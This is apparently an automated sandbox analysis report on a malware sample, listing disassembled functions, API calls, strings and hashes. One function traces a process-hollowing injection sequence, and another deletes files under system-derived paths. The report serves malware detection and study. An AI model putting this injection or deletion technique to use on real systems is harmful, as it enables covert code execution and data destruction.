{D827D600-80D1-4C2D-8EEC-3155ACB9C3F3}, xrefs: 002CC511, 002CC568
%s%s, xrefs: 002CC30B
D, xrefs: 002CC4CF
"%s%s" %s, xrefs: 002CC4A4
{0AD702D0-3095-4181-A79C-FE2E80D29BC5}, xrefs: 002CC392

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Local$Free$AllocEvent$Create$CloseErrorHandleLastOpenwnsprintf$DirectoryExecuteFileInitializeProcessShellUninitialize__snwprintfclosesocketsetsockoptshutdown
String ID: "%s%s" %s$%s%s$<@@$@@$D$runas${0AD702D0-3095-4181-A79C-FE2E80D29BC5}${411C1FF3-84D1-4AB1-868B-39D8EDE8EFF0}${D827D600-80D1-4C2D-8EEC-3155ACB9C3F3}
API String ID: 2920538479-2452547114
Opcode ID: 9505d5a626e1f0597e456353c59eac9ec53f09a57f9015c68e99bf57092109ea
Instruction ID: 1ad1d1606ad902c3b100932736f84b1892832395901b0f396971a61513ae40ba
Opcode Fuzzy Hash: 9505d5a626e1f0597e456353c59eac9ec53f09a57f9015c68e99bf57092109ea
Instruction Fuzzy Hash: F5A149B1910218DFDB25DFA4DC89FADBB78BB48301F1085A9F60DB6290DB745A84CF60

Function 002C5140 Relevance: 56.4, APIs: 25, Strings: 7, Instructions: 360memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000B3C), ref: 002C5150
_memset.LIBCMT ref: 002C5302
LocalFree.KERNEL32(00000000), ref: 002C56DD
LocalFree.KERNEL32(00000000), ref: 002C56F2
CloseHandle.KERNEL32(00000000), ref: 002C5702
CloseHandle.KERNEL32(00000000), ref: 002C5712

Strings

{2166BF44-78F6-4092-8B52-D7E5291F5927}, xrefs: 002C5197, 002C558D
%s %s, xrefs: 002C5574
{487D59FC-B28A-4E0E-B2D6-0FAD7FD3C01B}, xrefs: 002C5568
HWID_%s, xrefs: 002C5388
{13699FE1-C978-4490-B4B7-A4AB4E14BDD8}, xrefs: 002C516E
{B83BD4BD-2B9D-4550-97FC-5ABFD258A447}, xrefs: 002C51F5
{21AA2932-B56E-4A88-96A8-ED25B3407693}, xrefs: 002C517F

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Local$CloseFreeHandle$Alloc_memset
String ID: %s %s$HWID_%s${13699FE1-C978-4490-B4B7-A4AB4E14BDD8}${2166BF44-78F6-4092-8B52-D7E5291F5927}${21AA2932-B56E-4A88-96A8-ED25B3407693}${487D59FC-B28A-4E0E-B2D6-0FAD7FD3C01B}${B83BD4BD-2B9D-4550-97FC-5ABFD258A447}
API String ID: 3007728764-3557959644
Opcode ID: 1f0a849b736a67a476dd67fc299f0107d4c57a381ea58f0f54535a5e7e75003f
Instruction ID: b9f9a7ae2874b6ddcd80cc33cbf1f4d3ba5a2ad7ba963a7b5997966500fa4087
Opcode Fuzzy Hash: 1f0a849b736a67a476dd67fc299f0107d4c57a381ea58f0f54535a5e7e75003f
Instruction Fuzzy Hash: 1EE1D370A60714DFD725DF50EC86FAAB7BDBB48304F108669E506A3291E7B4AA90CF50

Function 002CA1B0 Relevance: 51.0, APIs: 28, Strings: 1, Instructions: 285nativethreadinjectionCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 002CA1B9
_memset.LIBCMT ref: 002CA1CA
CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000004,00000000,?,00000044,002C2000), ref: 002CA21B
NtCreateSection.NTDLL(00000000,00000006,00000000,?,00000004,08000000,00000000), ref: 002CA251
NtMapViewOfSection.NTDLL(00000000,00000000), ref: 002CA290
_memmove.LIBCMT ref: 002CA2AF
NtMapViewOfSection.NTDLL(00000000,002C2000,00000000,00000000,00000000,00000000,?,00000002,00000000,00000004), ref: 002CA2DA
NtCreateSection.NTDLL(00000000,0000000E,00000000,?,00000040,08000000,00000000), ref: 002CA320
NtMapViewOfSection.NTDLL(00000000,00000000), ref: 002CA36E
_memmove.LIBCMT ref: 002CA390
NtMapViewOfSection.NTDLL(00000000,002C2000,00000000,00000000,00000000,00000000,?,00000002,00000000,00000040), ref: 002CA3C7
_memset.LIBCMT ref: 002CA3E8
GetThreadContext.KERNEL32(?,00010007), ref: 002CA405
WriteProcessMemory.KERNEL32(002C2000,?,?,00000004,?), ref: 002CA447
SetThreadContext.KERNEL32(?,00010007), ref: 002CA461
ResumeThread.KERNEL32(?), ref: 002CA470
NtUnmapViewOfSection.NTDLL(00000000,00000000), ref: 002CA486
NtUnmapViewOfSection.NTDLL(00000000,00000000), ref: 002CA494
NtClose.NTDLL(00000000), ref: 002CA49E
NtClose.NTDLL(00000000), ref: 002CA4AB
NtUnmapViewOfSection.NTDLL(002C2000,00000000), ref: 002CA4E6
NtUnmapViewOfSection.NTDLL(00000000,00000000), ref: 002CA4F7
NtClose.NTDLL(00000000), ref: 002CA504
NtUnmapViewOfSection.NTDLL(002C2000,00000000), ref: 002CA512
NtUnmapViewOfSection.NTDLL(00000000,00000000), ref: 002CA520
NtClose.NTDLL(00000000), ref: 002CA52A
CloseHandle.KERNEL32(002C2000), ref: 002CA534
CloseHandle.KERNEL32(?), ref: 002CA53E

Strings

D, xrefs: 002CA1D2

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Section$View$CloseUnmap$CreateProcessThread$ContextHandle_memmove_memset$CurrentMemoryResumeWrite
String ID: D
API String ID: 3285855377-2746444292
Opcode ID: fa51e0a33076a1bc694506fa5312d9a1ec306f9ce6e9eea48043b7e6b96ea2b7
Instruction ID: e8fe60bbcf51660585bf2732d640252ed143198d1dc1a0a7bfc7f1ba34099c0c
Opcode Fuzzy Hash: fa51e0a33076a1bc694506fa5312d9a1ec306f9ce6e9eea48043b7e6b96ea2b7
Instruction Fuzzy Hash: 50C1FEB1A10318AFDB24CFA4CD89F9EB7B9BB48704F208558F609A7290D775A941CF51

Function 002D3620 Relevance: 43.9, APIs: 21, Strings: 4, Instructions: 176sleepfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 002D364A
_memset.LIBCMT ref: 002D3669
SHGetKnownFolderPath.SHELL32(002F7C30,00000000,00000000,00000000), ref: 002D3685
__snwprintf.LIBCMT ref: 002D36C6
__snwprintf.LIBCMT ref: 002D36E6
CoTaskMemFree.COMBASE(00000000), ref: 002D36FC
_memset.LIBCMT ref: 002D3729
__snwprintf.LIBCMT ref: 002D3749
FindFirstFileW.KERNEL32(?,?), ref: 002D3780
_memset.LIBCMT ref: 002D37CC
__snwprintf.LIBCMT ref: 002D37F3
DeleteFileW.KERNEL32(?), ref: 002D3802
FindNextFileW.KERNEL32(000000FF,?), ref: 002D3816
FindClose.KERNEL32(000000FF), ref: 002D382B
Sleep.KERNEL32(00000064), ref: 002D383E
GetFileAttributesW.KERNEL32(?), ref: 002D3859
RemoveDirectoryW.KERNEL32(?), ref: 002D386D
Sleep.KERNEL32(00000064), ref: 002D387C
GetFileAttributesW.KERNEL32(?), ref: 002D3894
RemoveDirectoryW.KERNEL32(?), ref: 002D38A8
Sleep.KERNEL32(00000064), ref: 002D38B7

Strings

\\?\%s , xrefs: 002D36B5
%s\System32, xrefs: 002D36D5
%s\%s, xrefs: 002D37E2
%s\*.*, xrefs: 002D3738

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: File$__snwprintf_memset$FindSleep$AttributesDirectoryRemove$CloseDeleteFirstFolderFreeKnownNextPathTask
String ID: %s\%s$%s\*.*$%s\System32$\\?\%s
API String ID: 1452513846-2457321626
Opcode ID: d10f41adc8edbbc5d001608bec1c2034da41f005c801a8eb6ea1bab5b0ec907e
Instruction ID: e0c46f0846f5892a1e2de161f523b9d0dbaa766ca067365bdd8c0cdd7d3dc48d
Opcode Fuzzy Hash: d10f41adc8edbbc5d001608bec1c2034da41f005c801a8eb6ea1bab5b0ec907e
Instruction Fuzzy Hash: B161C6B1D202189BEB24DB60DC89BE97379BB44300F4085E9F519A6280EBB18FA4DF51

Function 002E1580 Relevance: 36.5, APIs: 24, Instructions: 475COMMON

Download Yara Rule

APIs

shutdown.WS2_32(00000000,00000002), ref: 002E1D0F
closesocket.WS2_32(00000000), ref: 002E1D23
shutdown.WS2_32(00000000,00000002), ref: 002E1D7D
closesocket.WS2_32(00000000), ref: 002E1D8A

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: closesocketshutdown
String ID:
API String ID: 572888783-0
Opcode ID: 9f554ae7eaf842a711040cb3f19bb2f6d104abd8fa504943be8a9b8fd9d1d961
Instruction ID: f69d212d4beeca9f5bdcc14e36915a42a7ed2b4086f9117c1e0f5d908bf32f2f
Opcode Fuzzy Hash: 9f554ae7eaf842a711040cb3f19bb2f6d104abd8fa504943be8a9b8fd9d1d961
Instruction Fuzzy Hash: F1227F74A503189FEB20CF95ED88FED7375BB88304F6041A9E549A7280D7B46EA4CF61

Function 002E1030 Relevance: 30.1, APIs: 14, Strings: 3, Instructions: 385synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 002E1149

Strings

{D827D600-80D1-4C2D-8EEC-3155ACB9C3F3}, xrefs: 002E1036
{C4F1F2C1-695F-4D66-8AAF-6A2C007FD9FA}, xrefs: 002E10A1
{21AA2932-B56E-4A88-96A8-ED25B3407693}, xrefs: 002E1065

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
